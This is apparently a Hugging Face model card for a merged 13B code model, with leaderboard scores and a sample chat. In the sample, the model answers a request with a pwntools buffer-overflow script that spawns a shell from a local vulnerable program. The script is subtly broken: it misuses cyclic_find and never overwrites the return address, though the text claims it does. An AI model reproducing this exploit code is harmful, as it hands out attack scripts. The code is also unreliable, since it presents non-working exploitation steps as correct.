metadata
license: llama2
tags:
- moe
- merge
base_model: codellama/CodeLlama-13b-Instruct-hf
model-index:
- name: Winged-Lagomorph-2x13B
results:
- task:
type: text-generation
name: Text Generation
dataset:
name: AI2 Reasoning Challenge (25-Shot)
type: ai2_arc
config: ARC-Challenge
split: test
args:
num_few_shot: 25
metrics:
- type: acc_norm
value: 47.95
name: normalized accuracy
source:
url: >-
https://huggingface.co/spaces/HuggingFaceH4/open_llm_leaderboard?query=lodrick-the-lafted/Winged-Lagomorph-2x13B
name: Open LLM Leaderboard
- task:
type: text-generation
name: Text Generation
dataset:
name: HellaSwag (10-Shot)
type: hellaswag
split: validation
args:
num_few_shot: 10
metrics:
- type: acc_norm
value: 69.39
name: normalized accuracy
source:
url: >-
https://huggingface.co/spaces/HuggingFaceH4/open_llm_leaderboard?query=lodrick-the-lafted/Winged-Lagomorph-2x13B
name: Open LLM Leaderboard
- task:
type: text-generation
name: Text Generation
dataset:
name: MMLU (5-Shot)
type: cais/mmlu
config: all
split: test
args:
num_few_shot: 5
metrics:
- type: acc
value: 44.5
name: accuracy
source:
url: >-
https://huggingface.co/spaces/HuggingFaceH4/open_llm_leaderboard?query=lodrick-the-lafted/Winged-Lagomorph-2x13B
name: Open LLM Leaderboard
- task:
type: text-generation
name: Text Generation
dataset:
name: TruthfulQA (0-shot)
type: truthful_qa
config: multiple_choice
split: validation
args:
num_few_shot: 0
metrics:
- type: mc2
value: 44.54
source:
url: >-
https://huggingface.co/spaces/HuggingFaceH4/open_llm_leaderboard?query=lodrick-the-lafted/Winged-Lagomorph-2x13B
name: Open LLM Leaderboard
- task:
type: text-generation
name: Text Generation
dataset:
name: Winogrande (5-shot)
type: winogrande
config: winogrande_xl
split: validation
args:
num_few_shot: 5
metrics:
- type: acc
value: 67.4
name: accuracy
source:
url: >-
https://huggingface.co/spaces/HuggingFaceH4/open_llm_leaderboard?query=lodrick-the-lafted/Winged-Lagomorph-2x13B
name: Open LLM Leaderboard
- task:
type: text-generation
name: Text Generation
dataset:
name: GSM8k (5-shot)
type: gsm8k
config: main
split: test
args:
num_few_shot: 5
metrics:
- type: acc
value: 25.63
name: accuracy
source:
url: >-
https://huggingface.co/spaces/HuggingFaceH4/open_llm_leaderboard?query=lodrick-the-lafted/Winged-Lagomorph-2x13B
name: Open LLM Leaderboard
Grafted WhiteRabbitNeo-13B-v1 and NexusRaven-V2-13B with mergekit. Use the WhiteRabbitNeo template for regular code, and the NR template for function calling.
SYSTEM: Answer the Question by exploring multiple reasoning paths as follows:
- First, carefully analyze the question to extract the key information components and break it down into logical sub-questions. This helps set up the framework for reasoning. The goal is to construct an internal search tree.
- For each sub-question, leverage your knowledge to generate 2-3 intermediate thoughts that represent steps towards an answer. The thoughts aim to reframe, provide context, analyze assumptions, or bridge concepts.
- Evaluate the clarity, relevance, logical flow and coverage of concepts for each thought option. Clear and relevant thoughts that connect well with each other will score higher.
- Based on the thought evaluations, deliberate to construct a chain of reasoning that stitches together the strongest thoughts in a natural order.
- If the current chain is determined to not fully answer the question, backtrack and explore alternative paths by substituting different high-scoring thoughts.
- Throughout the reasoning process, aim to provide explanatory details on thought process rather than just state conclusions, including briefly noting why some thoughts were deemed less ideal.
- Once a reasoning chain is constructed that thoroughly answers all sub-questions in a clear, logical manner, synthesize the key insights into a final concise answer.
- Please note that while the focus is on the final answer in the response, it should also include intermediate thoughts inline to illustrate the deliberative reasoning process.
In summary, leverage a Tree of Thoughts approach to actively explore multiple reasoning paths, evaluate thoughts heuristically, and explain the process - with the goal of producing insightful answers.
USER: Write a pwntools script that overflows a 64 character buffer from stdin.
ASSISTANT: To write a pwntools script that overflows a 64-character buffer from stdin, we need to follow these steps:
1. **Identify the vulnerable program**: Find the program that has a buffer overflow vulnerability. This can be done by analyzing the program's source code or by using tools like `gdb` or `valgrind`.
2. **Set up the environment**: Install pwntools and any other necessary dependencies.
3. **Create a pwntools script**: Start by importing the `pwn` module and setting up the connection to the vulnerable program.
4. **Find the offset**: Use the `cyclic` function from pwntools to generate a pattern that will help us find the offset.
5. **Overflow the buffer**: Send the generated pattern to the vulnerable program, and then send additional data to overwrite the return address on the stack.
6. **Control the execution flow**: Overwrite the return address with the address of a shellcode or a function that will give us a shell.
7. **Execute the script**: Run the script and observe the results.
Here's an example pwntools script that overflows a 64-character buffer:
```python
from pwn import *
# Set up the connection to the vulnerable program
p = process('./vulnerable_program')
# Find the offset using cyclic
offset = cyclic_find(b'A'*64)
# Generate shellcode
shellcode = asm(shellcraft.sh())
# Overflow the buffer
payload = b'A' * offset + shellcode
p.sendline(payload)
# Execute the script
p.interactive()
```
In this example, `vulnerable_program` is the name of the vulnerable program, and `shellcraft.sh()` is a function from pwntools that generates shellcode for a Linux/x86-64 system. The `cyclic_find` function is used to find the offset at which the buffer overflow occurs.
Please note that this script is a basic example and may not work in all cases. It's important to tailor the script to the specific vulnerability and environment you are working with.
Open LLM Leaderboard Evaluation Results
Detailed results can be found here
| Metric | Value |
|---|---|
| Avg. | 49.90 |
| AI2 Reasoning Challenge (25-Shot) | 47.95 |
| HellaSwag (10-Shot) | 69.39 |
| MMLU (5-Shot) | 44.50 |
| TruthfulQA (0-shot) | 44.54 |
| Winogrande (5-shot) | 67.40 |
| GSM8k (5-shot) | 25.63 |